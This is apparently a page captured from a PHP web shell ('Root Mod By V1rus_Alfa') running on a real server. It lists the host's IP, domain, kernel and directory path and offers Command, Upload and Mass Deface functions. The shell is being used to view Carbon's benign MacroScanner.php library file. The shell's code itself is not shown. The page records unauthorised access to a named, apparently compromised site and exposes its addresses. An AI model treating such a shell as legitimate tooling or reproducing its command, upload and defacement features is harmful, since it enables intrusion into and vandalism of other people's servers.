���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
dasterang-old
/
vendor
/
nesbot
/
carbon
/
src
/
Carbon
/
PHPStan
/
Viewing: MacroScanner.php
<?php /** * This file is part of the Carbon package. * * (c) Brian Nesbitt <brian@nesbot.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Carbon\PHPStan; use Carbon\CarbonInterface; use PHPStan\Reflection\ReflectionProvider; use ReflectionClass; use ReflectionException; final class MacroScanner { /** * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; /** * MacroScanner constructor. * * @param \PHPStan\Reflection\ReflectionProvider $reflectionProvider */ public function __construct(ReflectionProvider $reflectionProvider) { $this->reflectionProvider = $reflectionProvider; } /** * Return true if the given pair class-method is a Carbon macro. * * @param class-string $className * @param string $methodName * * @return bool */ public function hasMethod(string $className, string $methodName): bool { $classReflection = $this->reflectionProvider->getClass($className); if ( $classReflection->getName() !== CarbonInterface::class && !$classReflection->isSubclassOf(CarbonInterface::class) ) { return false; } return \is_callable([$className, 'hasMacro']) && $className::hasMacro($methodName); } /** * Return the Macro for a given pair class-method. * * @param class-string $className * @param string $methodName * * @throws ReflectionException * * @return Macro */ public function getMethod(string $className, string $methodName): Macro { $reflectionClass = new ReflectionClass($className); $property = $reflectionClass->getProperty('globalMacros'); $property->setAccessible(true); $macro = $property->getValue()[$methodName]; return new Macro( $className, $methodName, $macro ); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa